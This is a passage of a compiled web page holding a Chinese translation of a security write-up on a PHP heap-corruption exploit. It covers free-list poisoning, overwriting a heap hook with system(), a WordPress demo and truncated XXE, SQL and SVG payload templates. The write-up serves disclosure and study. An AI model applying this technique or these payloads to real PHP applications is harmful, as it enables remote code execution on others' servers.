\u8868\u793a\u6211\u4eec\u5b8c\u6210\u4e86\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112567.png-.png",alt:"img"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8bbe\u7f6e\u5b58\u50a8 ",(0,s.jsx)(n.code,{children:"dechunk"})," \u6876*"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5b83\u770b\u8d77\u6765\u4e0d\u9519\uff0c\u4f46\u5b83\u4e0d\u8d77\u4f5c\u7528\u3002\u867d\u7136\u662f\u5355\u72ec\u5904\u7406\u7684\uff0c\u4f46\u5b58\u50a8\u6876\u4e0d\u662f\u72ec\u7acb\u7684\uff1a\u5b83\u4eec\u90fd\u88ab\u89e3\u6790\u4e3a\u4e00\u4e2a\u5927\u6d41\u3002 ",(0,s.jsx)(n.code,{children:"dechunk"})," \u5f53\u7b5b\u9009\u5668\u5904\u7406\u6d41\u65f6\uff0c\u5b83\u4f1a\u8bfb\u53d6\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876 0x148 \u4e2d\u7684\u5927\u5c0f\uff0c\u53d6\u51fa 0x148 \u4e2a\u5b57\u8282\uff0c\u7136\u540e\u8bfb\u53d6\u5927\u5c0f\u4e3a\u96f6\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u5b83\u505c\u6b62\u89e3\u6790\u3002\u5b83\u4e0d\u4f1a\u8fdb\u5165\u7b2c\u4e8c\u4e2a\u6876\u3002\u5b83\u53ea\u662f\u5b8c\u5168\u505c\u6b62\u89e3\u6790\u3002\u6211\u4eec\u64cd\u4f5c\u7684\u6700\u7ec8\u7ed3\u679c\u662f\uff0c\u6211\u4eec\u4ece\u51e0\u4e2a\u6876\uff08\u597d\uff09\u56de\u5230\u4e86\u4e00\u4e2a\u6876\uff08\u574f)\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5e78\u8fd0\u7684\u662f\uff0c\u627e\u5230\u4e00\u79cd\u65b9\u6cd5\u6765\u89c4\u907f\u8fd9\u4e00\u70b9\u5e76\u4e0d\u96be\uff1a\u5728\u6bcf\u4e2a\u5b58\u50a8\u6876\u4e2d\uff0c\u6211\u4eec\u63d0\u4f9b\u4e00\u79cd\u5927\u5c0f\u548c\u4e00\u4e2a\u6570\u636e\u5757\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u4e0d\u662f\u5929\u771f\u5730\u5199\u4e00\u4e2a\u5927\u5c0f\uff0c\u800c\u662f\u7528\u6570\u5343\u4e2a\u96f6\u586b\u5145\u5b83\uff0c\u4ee5\u4fbf\u5f97\u5230\u8fd9\u6837\u7684\u4e1c\u897f\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112568.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u6b63\u786e\u8bbe\u7f6e\u5b58\u50a8 ",(0,s.jsx)(n.code,{children:"dechunk"})," \u6876"]})}),"\n",(0,s.jsx)(n.p,{children:"\u73b0\u5728\uff0c\u5728\u5904\u7406\u5b58\u50a8\u6876 1 \u540e\uff0cdehunk \u89e3\u6790\u5668\u8df3\u8f6c\u5230\u5b58\u50a8\u6876 2\uff0c\u51c6\u5907\u8bfb\u53d6\u65b0\u5927\u5c0f\uff0c\u7136\u540e\u8df3\u8f6c\u5230\u5b58\u50a8\u6876 3\uff0c\u4f9d\u6b64\u7c7b\u63a8\u3002\u5b83\u6709\u6548\uff01\u73b0\u5728\uff0c\u6211\u4eec\u53ef\u4ee5\u521b\u5efa\u4efb\u610f\u6570\u91cf\u7684\u5b58\u50a8\u6876\uff0c\u5e76\u5177\u6709\u6240\u9700\u7684\u5927\u5c0f\u3002\u6211\u4eec\u5df2\u7ecf\u53d6\u5f97\u4e86\u5de8\u5927\u7684\u98de\u8dc3\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u514d\u8d39\u5217\u8868\u63a7\u5236\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48",children:"\u514d\u8d39\u5217\u8868\u63a7\u5236\uff1a\u5199\u4ec0\u4e48\u5c31\u5199\u4ec0\u4e48"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u73b0\u5728\u7684\u76ee\u6807\u662f\u901a\u8fc7\u8986\u76d6\u503c\u4e3a 48h\uff08 ",(0,s.jsx)(n.code,{children:"H"})," \u5728 ASCII \u4e2d\uff09\u7684\u67d0\u4e2a\u6307\u9488\u7684 LSB \u6765\u66f4\u6539\u4e00\u4e9b\u7a7a\u95f2\u5217\u8868\u3002\u4e3a\u4e86\u65e0\u6761\u4ef6\u5730\u83b7\u5f97\u76f8\u540c\u7684\u6548\u679c\uff0c\u6211\u4eec\u4ee5\u5927\u5c0f\u4e3a 0x100 \u7684\u5757\u4e3a\u76ee\u6807\uff0c\u56e0\u4e3a\u5757\u5730\u5740\u7684 LSB \u59cb\u7ec8\u4e3a\u96f6\u3002\u8fd9\u610f\u5473\u7740\u6ea2\u51fa\u7684\u6548\u679c\u59cb\u7ec8\u76f8\u540c\uff1a\u5c060x48\u6dfb\u52a0\u5230\u5757\u6307\u9488\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u4e86\u5229\u7528\uff0c\u6211\u4eec\u9075\u5faa\u4e00\u4e2a\u975e\u5e38\u6807\u51c6\u7684 6 \u4e2a\u6b65\u9aa4\u3002\u6211\u4eec\u5c06\u5927\u5c0f\u4e3a 0x100 \u5757\u7684\u514d\u8d39\u5217\u8868\u547d\u540d\u4e3a ",(0,s.jsx)(n.code,{children:"FL[0x100]"})," \u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112569.png-.png",alt:"img"}),"* ",(0,s.jsx)(n.code,{children:"FL[0x100]"})," \u63a7\u5236 ",(0,s.jsx)(n.code,{children:"FL[0x100]"}),"*"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8003\u8651\u5230\u6211\u4eec\u5df2\u7ecf\u8bbe\u6cd5\u901a\u8fc7\u5206\u914d\u5927\u91cf0x100\u5757\u6765\u586b\u5145\u5806\u3002\u56e0\u6b64\uff0c\u5728\u5185\u5b58\u7684\u67d0\u4e2a\u5730\u65b9\uff0c\u6211\u4eec\u6709\u4e09\u4e2a\u8fde\u7eed\u7684\u81ea\u7531\u5757 ",(0,s.jsx)(n.code,{children:"A"})," \u3001 ",(0,s.jsx)(n.code,{children:"B"})," \u548c ",(0,s.jsx)(n.code,{children:"C"})," \uff0c ",(0,s.jsx)(n.code,{children:"A"})," \u5e76\u4e14\u662f \u7684 ",(0,s.jsx)(n.code,{children:"FL[100]"})," \u3002 ",(0,s.jsx)(n.code,{children:"A"})," \u6307\u5411 ",(0,s.jsx)(n.code,{children:"B"})," \uff0c\u800c \u6307\u5411 ",(0,s.jsx)(n.code,{children:"C"})," \u3002\u6211\u4eec\u53ef\u4ee5\u5206\u914d\u5176\u4e2d\u7684 3 \u4e2a\uff08\u7b2c 2 \u6b65\uff09\uff0c\u7136\u540e\u518d\u6b21\u91ca\u653e\u5b83\u4eec\uff08\u7b2c 3 \u6b65\uff09\u3002\u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u514d\u8d39\u5217\u8868\u662f\u76f8\u53cd\u7684\uff1a\u6211\u4eec\u6709 ",(0,s.jsx)(n.code,{children:"C"})," \u2192 ",(0,s.jsx)(n.code,{children:"B"})," \u2192 ",(0,s.jsx)(n.code,{children:"A"})," \u3002\u7136\u540e\u6211\u4eec\u518d\u6b21\u5206\u914d\uff0c\u4f46\u8fd9\u6b21\u6211\u4eec\u5728\u504f\u79fb ",(0,s.jsx)(n.code,{children:"48h"})," \u91cf\u5904 ",(0,s.jsx)(n.code,{children:"C"})," \u653e\u7f6e\u4e00\u4e2a\u4efb\u610f\u6307\u9488 ",(0,s.jsx)(n.code,{children:"0x1122334455"})," \uff08\u6b65\u9aa4 4\uff09\u3002\u6211\u4eec\u518d\u6b21\u91ca\u653e\u5b83\u4eec\uff08\u6b65\u9aa4 5\uff09\uff0c\u5e76\u83b7\u5f97\u4e0e\u6b65\u9aa4 1 \u5b8c\u5168\u76f8\u540c\u7684\u72b6\u6001\uff0c\u4f46\u8fd9\u6b21\u7565\u6709\u4e0d\u540c\uff1a\u5728 ",(0,s.jsx)(n.code,{children:"C+48h"})," \uff0c\u6211\u4eec\u6709\u4e00\u4e2a\u4efb\u610f\u6307\u9488\u3002\u6211\u4eec\u73b0\u5728\u53ef\u4ee5\u4ece \u5757 ",(0,s.jsx)(n.code,{children:"A"})," \u6267\u884c\u6ea2\u51fa\uff0c\u8fd9\u4f1a\u79fb\u52a8\u5305\u542b\u5728 \u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"B"})," \u6307\u9488\u3002\u5b83\u73b0\u5728\u6307\u5411 ",(0,s.jsx)(n.code,{children:"C+48h"})," \uff0c\u56e0\u6b64\uff0c\u514d\u8d39\u5217\u8868\u73b0\u5728 ",(0,s.jsx)(n.code,{children:"B"})," ",(0,s.jsx)(n.code,{children:"C+48h"})," \u2192\u2192 ",(0,s.jsx)(n.code,{children:"0x1122334455"})," \u3002\u518d\u5206\u914d 3 \u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u4efb\u610f\u5730\u5740\u8fdb\u884c PHP \u5206\u914d\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u73b0\u5728\u6709\u4e00\u4e2a\u5199\u4ec0\u4e48\u7684\u5730\u65b9;\u8fd9\u5feb\u7ed3\u675f\u4e86\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4f46\u662f\uff0c\u8ba9\u6211\u56de\u5230\u6f0f\u6d1e\u5229\u7528\u7684\u5b9e\u73b0\u4e0a\u6765\u3002\u5728\u8fd9\u91cc\u63cf\u8ff0\u7684\u5404\u4e2a\u6b65\u9aa4\u4e2d\uff0c\u6211\u4eec\u6709\u5206\u914d\u7136\u540e\u91ca\u653e\u7684\u5757\u3002\u4f46\u662f\u6211\u4eec\u65e0\u6cd5\u771f\u6b63\u6446\u8131\u6c34\u6876\uff1a\u6211\u4eec\u53ea\u80fd\u6539\u53d8\u5b83\u4eec\u7684\u5927\u5c0f\u3002\u4f46\u662f\uff0c\u6211\u4eec\u53ea\u5bf9\u5927\u5c0f0x100\u5757\u611f\u5174\u8da3\u3002\u5c31\u597d\u50cf\u5176\u4ed6\u5757\u4e0d\u5b58\u5728\u4e00\u6837\u3002\u56e0\u6b64\uff0c\u6211\u5c06\u6bcf\u4e2a\u5b58\u50a8\u6876\u6784\u5efa\u4e3a\u4e00\u4e2a HTTP \u5206\u5757\u7684\u4fc4\u7f57\u65af\u5a03\u5a03\uff1a"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112570.png-.png",alt:"img"}),"\n\u4e00\u4e2a\u6c34\u6876\u7684\u4fc4\u7f57\u65af\u5a03\u5a03\uff1a\u5b83\u7684\u5927\u5c0f\u5728\u6bcf\u4e2a ",(0,s.jsx)(n.code,{children:"dechunk"})," \u6876\u4e0a\u90fd\u53d8\u5316*"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5bf9\u4e8e\u6f0f\u6d1e\u5229\u7528\u7684\u6bcf\u4e2a\u6b65\u9aa4\uff0c ",(0,s.jsx)(n.code,{children:"dechunk"})," \u90fd\u4f1a\u8c03\u7528\u8fc7\u6ee4\u5668\uff1a\u56e0\u6b64\uff0c\u6bcf\u4e2a\u5b58\u50a8\u6876\u7684\u5927\u5c0f\u90fd\u4f1a\u53d1\u751f\u53d8\u5316\u3002\u6709\u4e9b\u5c3a\u5bf8\u53d80x100\uff0c\u4ece\u800c\u5728\u5265\u524a\u4e2d\u201c\u51fa\u73b0\u201d\uff0c\u6709\u4e9b\u53d8\u5c0f\uff0c\u4ece\u800c\u6d88\u5931\u3002\u5b83\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u79cd\u5b8c\u7f8e\u7684\u65b9\u5f0f\uff0c\u8ba9\u6c34\u6876\u5728\u7279\u5b9a\u65f6\u523b\u5b9e\u73b0\uff0c\u5e76\u5728\u6211\u4eec\u4e0d\u518d\u9700\u8981\u5b83\u4eec\u65f6\u5c06\u5b83\u4eec\u6254\u6389\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u8bf4\u5b8c\u8fd9\u4e9b\uff0c\u8ba9\u6211\u4eec\u5f00\u59cb\u6267\u884c\u4ee3\u7801\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u4ee3\u7801\u6267\u884c",children:"\u4ee3\u7801\u6267\u884c"}),"\n",(0,s.jsxs)(n.p,{children:["\u867d\u7136\u6211\u4eec\u901a\u8fc7\u9605\u8bfb ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," \u6765\u67e5\u770b\u5185\u5b58\u533a\u57df\uff0c\u4f46\u6211\u4eec\u5e76\u4e0d\u786e\u5207\u5730\u77e5\u9053\u6211\u4eec\u5728\u5806\u4e2d\u7684\u4f4d\u7f6e\u3002\u5e78\u8fd0\u7684\u662f\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u627e\u5230PHP\u7684\u5806\u6765\u5b8c\u5168\u5ffd\u7565\u8fd9\u4e2a\u95ee\u9898\u3002\u7531\u4e8e\u5176\u5bf9\u9f50\u65b9\u5f0f \uff08~0x1fffff\uff09 \u548c\u5927\u5c0f \uff082MB\uff09\uff0c\u5b83\u5f88\u5bb9\u6613\u8bc6\u522b\u3002\u5728\u5b83\u7684\u9876\u90e8\u9a7b\u7559\u7740\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"zend_mm_heap"})," \u7ed3\u6784\uff0c\u5176\u4e2d\u5305\u542b\u975e\u5e38\u6709\u7528\u7684\u5b57\u6bb5\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"struct _zend_mm_heap {\n ...\n int use_custom_heap;\n ...\n zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */\n ...\n union {\n struct {\n void *(*_malloc)(size_t);\n void (*_free)(void*);\n void *(*_realloc)(void*, size_t);\n } std;\n } custom_heap;\n};\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u5b83\u5305\u542b\u6240\u6709\u514d\u8d39\u5217\u8868\u3002\u901a\u8fc7\u8986\u76d6\u7a7a\u95f2\u5217\u8868\uff0c\u6211\u4eec\u5f97\u5230\u4e86\u4efb\u610f\u6570\u91cf\u7684\u4efb\u610f\u5927\u5c0f\u7684\u5199\u5165\u5185\u5bb9\u3002\u6211\u4eec\u53ef\u4ee5\u7528\u5b83\u4eec\u6765\u8986\u76d6\u6700\u540e\u4e00\u4e2a\u5b57\u6bb5 ",(0,s.jsx)(n.code,{children:"custom_heap"})," \uff0c\u8be5\u5b57\u6bb5\u5305\u542b ",(0,s.jsx)(n.code,{children:"emalloc()"})," \u548c ",(0,s.jsx)(n.code,{children:"efree()"})," \u7684 ",(0,s.jsx)(n.code,{children:"erealloc()"})," \u66ff\u4ee3\u51fd\u6570\uff08\u7c7b\u4f3c\u4e8e glibc \u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"__malloc_hook"})," \u53ca\u5176\u540c\u7ea7\u51fd\u6570\uff09\u3002\u7136\u540e\uff0c\u6211\u4eec\u8bbe\u7f6e\u4e3a ",(0,s.jsx)(n.code,{children:"use_custom_heap"})," ",(0,s.jsx)(n.code,{children:"1"})," \uff0c\u5e76\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"free()"})," \u4e00\u4e2a\u5b58\u50a8\u6876\uff0c\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e00\u4e2a\u5e26\u6709\u53d7\u63a7\u53c2\u6570\u7684\u4efb\u610f\u51fd\u6570\u8c03\u7528\u3002\u7531\u4e8e\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6587\u4ef6\u8bfb\u53d6\u8bbf\u95ee\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u82b1\u54e8\u7684 ROP \u94fe\uff0c\u4f46\u6211\u4eec\u60f3\u8981\u5c3d\u53ef\u80fd\u901a\u7528\u7684\u4e1c\u897f;\u56e0\u6b64\uff0c\u6211\u8bbe\u7f6e\u4e3a ",(0,s.jsx)(n.code,{children:"custom_heap._free"})," ",(0,s.jsx)(n.code,{children:"system"})," \uff0c\u5141\u8bb8\u6211\u4eec\u4ee5 CTF \u65b9\u5f0f\u8fd0\u884c\u4efb\u610f bash \u547d\u4ee4\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u6ce8\u610f\uff1a\u6211\u9057\u6f0f\u4e86\u4e00\u4e9b\uff08\u8bb8\u591a\uff09\u5173\u4e8e\u6f0f\u6d1e\u5229\u7528\u7684\u7ec6\u8282\uff0c\u4f46\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u4e86\u5927\u91cf\u8bc4\u8bba\u3002"})}),"\n",(0,s.jsx)(n.h4,{id:"\u5229\u7528\u6027\u80fd",children:"\u5229\u7528\u6027\u80fd"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u7684\u6f0f\u6d1e\u5229\u7528\u8fd0\u884c\u4e86 3 \u4e2a\u8bf7\u6c42\uff1a\u5b83\u4e0b\u8f7d ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," \uff0c\u5e76\u63d0\u53d6 PHP \u5806\u7684\u5730\u5740\u548c libc \u7684\u6587\u4ef6\u540d\u3002\u7136\u540e\uff0c\u5b83\u4e0b\u8f7d libc \u4e8c\u8fdb\u5236\u6587\u4ef6\u4ee5\u63d0\u53d6 \u7684 ",(0,s.jsx)(n.code,{children:"system()"})," \u5730\u5740\u3002\u6700\u540e\uff0c\u5b83\u6267\u884c\u6267\u884c\u6ea2\u51fa\u7684\u6700\u7ec8\u8bf7\u6c42\u5e76\u6267\u884c\u6211\u4eec\u7684\u4efb\u610f\u547d\u4ee4\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b83\u7684\u8868\u73b0\u975e\u5e38\u597d\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u9002\u7528\u4e8e\u4efb\u4f55\u76ee\u6807\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"From PHP 7.0.0 (2015) to 8.3.7 (2024)\n\u4ece PHP 7.0.0 \uff082015\uff09 \u5230 8.3.7 \uff082024\uff09"}),"\n",(0,s.jsx)(n.li,{children:"Any PHP application: Wordpress, Laravel, etc.\n\u4efb\u4f55PHP\u5e94\u7528\u7a0b\u5e8f\uff1aWordpress\uff0cLaravel\u7b49\u3002"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\u5b83\u662f100%\u53ef\u9760\u7684\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"Due to its implementation, it will never (?) produce a crash\n\u7531\u4e8e\u5b83\u7684\u5b9e\u73b0\uff0c\u5b83\u6c38\u8fdc\u4e0d\u4f1a\uff08\uff1f\uff09\u4ea7\u751f\u5d29\u6e83"}),"\n",(0,s.jsx)(n.li,{children:"A binary exploit that feels like a web exploit!\n\u611f\u89c9\u50cf\u7f51\u7edc\u6f0f\u6d1e\u7684\u4e8c\u8fdb\u5236\u6f0f\u6d1e\uff01"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6709\u6548\u8d1f\u8f7d\u5c0f\u4e8e 1000 \u5b57\u8282\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u901a\u8fc7\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"zlib.inflate"})," \u548c\u4ec5 12 \u4e2a\u8fc7\u6ee4\u5668\uff0c\u6709\u6548\u8f7d\u8377\u975e\u5e38\u5c0f"]}),"\n",(0,s.jsx)(n.li,{children:"\u5b83\u9002\u5408 GET \u8bf7\u6c42"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\u81ea\u5305\u542b\u6f0f\u6d1e\u5229\u7528\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u65e0\u9700\u4ee5 GET \u6216 POST \u7684\u5f62\u5f0f\u53d1\u9001\u5176\u4ed6\u53c2\u6570\uff1a\u6f0f\u6d1e\u5229\u7528\u4f1a\u81ea\u884c\u5b8c\u6210\u6240\u6709\u64cd\u4f5c\uff0c\u4ece\u586b\u5145\u5806\u5230\u8bbe\u7f6e\u53ef\u7528\u5217\u8868\uff0c\u6700\u540e\u6267\u884c\u4ee3\u7801"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b83\u662f\u4e00\u4e2a\u5c0f\u4e8e 1000 \u5b57\u8282\u7684\u5355\u4e2a\u6709\u6548\u8d1f\u8f7d\uff0c\u53ef\u8fdc\u7a0b\u6267\u884c 10 \u5e74\u7684 PHP \u7248\u672c\u4ee3\u7801\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u6f14\u793a",children:"\u6f14\u793a"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u4e86\u8bf4\u660e\u8fd9\u4e00\u70b9\uff0c\u6211\u5c06\u4ee5\u8fd0\u884c\u5728 PHP 8.3.x \u4e0a\u7684 Wordpress \u5b9e\u4f8b\u4e3a\u76ee\u6807\u3002\u4e3a\u4e86\u5f15\u5165\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff0c\u6211\u6dfb\u52a0\u4e86 BuddyForms \u63d2\u4ef6 \uff08v2.7.7\uff09\uff0c\u8be5\u63d2\u4ef6\u5b58\u5728",(0,s.jsx)(n.a,{href:"https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8",children:"CVE-2023-26326"}),"\u7684\u7f3a\u9677\u3002\u8be5\u9519\u8bef\u6700\u521d\u88ab\u62a5\u544a\u4e3a PHAR \u53cd\u5e8f\u5217\u5316\u9519\u8bef\uff0c\u4f46 Wordpress \u6ca1\u6709\u4efb\u4f55\u53cd\u5e8f\u5217\u5316\u5c0f\u5de5\u5177\u94fe\u3002\u5728\u4efb\u4f55\u60c5\u51b5\u4e0b\uff0c\u76ee\u6807\u90fd\u8fd0\u884c\u5728 PHP 8+ \u4e0a\uff0c\u56e0\u6b64\u5b83\u4e0d\u5bb9\u6613\u53d7\u5230 PHAR \u653b\u51fb\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u6ce8\u610f\uff1a\u5982\u679c\u60a8\u9605\u8bfb",(0,s.jsx)(n.a,{href:"(https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8)",children:"\u539f\u59cb\u67e5\u627e\u5668"}),"\u7684\u516c\u544a\uff0c\u60a8\u53ef\u80fd\u4f1a\u770b\u5230\uff0c\u5728\u6587\u4ef6\u8bfb\u53d6\u57fa\u5143\u4e4b\u524d\uff0c\u4f1a\u6267\u884c\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"getimagesize()"})," \u4ee5\u68c0\u67e5\u6587\u4ef6\u662f\u5426\u4e3a\u56fe\u50cf\u3002\u56e0\u6b64\uff0c\u4e3a\u4e86\u5141\u8bb8\u6f0f\u6d1e\u548c libc \u8bfb\u53d6 ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," \uff0c\u6211\u4f7f\u7528",(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/wrapwrap-php-filters-suffix",children:"wrapwrap"})," \u4f7f\u5b83\u4eec\u770b\u8d77\u6765\u50cf GIF \u56fe\u50cf\u3002"]})}),"\n",(0,s.jsx)(n.h2,{id:"\u51b2\u51fb",children:"\u51b2\u51fb"}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9PHP\u751f\u6001\u6709\u4ec0\u4e48\u5f71\u54cd\uff1f\u8fd9\u4e0d\u662f\u4e00\u4e2a\u65b0\u7684\u6f0f\u6d1e\uff0c\u800c\u662f\u6f0f\u6d1e\u7684\u65b0\u5229\u7528\u5411\u91cf\u3002\u4f46\u662f\uff0c\u6709\u591a\u79cd\u65b9\u6cd5\u53ef\u4ee5\u4f7f PHP \u8bfb\u53d6\u6587\u4ef6;\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\u5728 Web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u975e\u5e38\u6d41\u884c\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u6807\u51c6\u6c34\u69fd",children:"\u6807\u51c6\u6c34\u69fd"}),"\n",(0,s.jsxs)(n.p,{children:["\u663e\u7136\uff0cPHP \u7684\u6bcf\u4e2a\u6807\u51c6\u6587\u4ef6\u8bfb\u53d6\u63a5\u6536\u5668\u90fd\u4f1a\u53d7\u5230\u5f71\u54cd\uff1a ",(0,s.jsx)(n.code,{children:"file_get_contents()"})," \u3001\u3001 ",(0,s.jsx)(n.code,{children:"file()"})," \u3001 ",(0,s.jsx)(n.code,{children:"readfile()"})," ",(0,s.jsx)(n.code,{children:"fgets()"})," \u3001 ",(0,s.jsx)(n.code,{children:"getimagesize()"})," ",(0,s.jsx)(n.code,{children:"SplFileObject->read()"})," \u7b49\u3002\u6587\u4ef6\u5199\u5165\u4e5f\u4f1a\u53d7\u5230\u5f71\u54cd\uff08 ",(0,s.jsx)(n.code,{children:"file_put_contents()"})," \u53ca\u5176\u540c\u7ea7\uff09\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4f7f\u7528\u6f0f\u6d1e",children:"\u4f7f\u7528\u6f0f\u6d1e"}),"\n",(0,s.jsx)(n.h4,{id:"sql-injection-to-rce-sql-\u6ce8\u5165\u5230-rce",children:"SQL injection to RCE SQL \u6ce8\u5165\u5230 RCE"}),"\n",(0,s.jsxs)(n.p,{children:["\u5982\u679c\u60a8\u5728 PDO/MySQL \u4e0a\u83b7\u5f97 SQL \u6ce8\u5165\uff0c\u60a8\u4e5f\u8bb8\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"LOAD DATA LOCAL INFILE"})," \uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"LOAD DATA LOCAL INFILE 'php://filter/cnext...';\n"})}),"\n",(0,s.jsx)(n.h4,{id:"xxe",children:"XXE"}),"\n",(0,s.jsx)(n.p,{children:"XXE \u73b0\u5728\u662f RCE\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'<?xml version="1.0" ?>\n<!DOCTYPE root [\n <!ENTITY exploit SYSTEM "php://filter/cnext...">\n]>\n<root>&exploit;</root>\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u4f5c\u4e3a-phar-\u7684\u66ff\u4ee3\u54c1",children:"\u4f5c\u4e3a PHAR \u7684\u66ff\u4ee3\u54c1"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0e PHAR \u653b\u51fb\u76f8\u53cd\uff0c\u4ec5\u5bf9\u6587\u4ef6\uff08\u5982 ",(0,s.jsx)(n.code,{children:"file_exists()"})," \u6216 ",(0,s.jsx)(n.code,{children:"is_file()"})," \uff09\u6267\u884c\u68c0\u67e5\u7684\u51fd\u6570\u4e0d\u53d7\u5f71\u54cd\u3002\u4f46\u662f\uff0c\u5728\u5176\u4ed6\u60c5\u51b5\u4e0b\uff0c\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u7528\u4f5c PHAR \u653b\u51fb\u7684\u66ff\u4ee3\u54c1\uff0c\u5982\u6f14\u793a\u4e2d\u6240\u793a\u3002\u7981\u7528 ",(0,s.jsx)(n.code,{children:"phar://"})," \u6216\u66f4\u65b0\u5230 PHP 8 \u4e0d\u4f1a\u62ef\u6551\u60a8\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790\u5e93",children:"\u89e3\u6790\u5e93"}),"\n",(0,s.jsx)(n.p,{children:"\u6bcf\u4e2a\u4ee5\u67d0\u79cd\u65b9\u5f0f\u64cd\u7eb5 URL \u7684\u5e93\u90fd\u53ef\u80fd\u5bb9\u6613\u53d7\u5230\u653b\u51fb\u3002\u4ee5\u4e0b\u662f\u6211\u5728\u5f00\u53d1\u6f0f\u6d1e\u65f6\u53d1\u73b0\u7684\u4e00\u4e9b\u65b0\u76ee\u6807\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.a,{href:"https://packagist.org/packages/meyfa/php-svg",children:"meyfa/php-svg"}),": \u6700\u6d41\u884c\u7684 SVG \u64cd\u4f5c\u5e93"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.a,{href:"https://packagist.org/packages/symfony/translation",children:"symfony/translation"}),": XLIFF \u89e3\u6790\u5668\u6613\u53d7\u653b\u51fb"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u4f8b\u5982\uff0cPHP-SVG \u5e93\u53ef\u80fd\u4f1a\u53d7\u5230\u8fd9\u6837\u7684\u6709\u6548\u8f7d\u8377\u7684\u653b\u51fb\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'<svg width="100" height="100">\n <image href="php://filter/cnext/..." 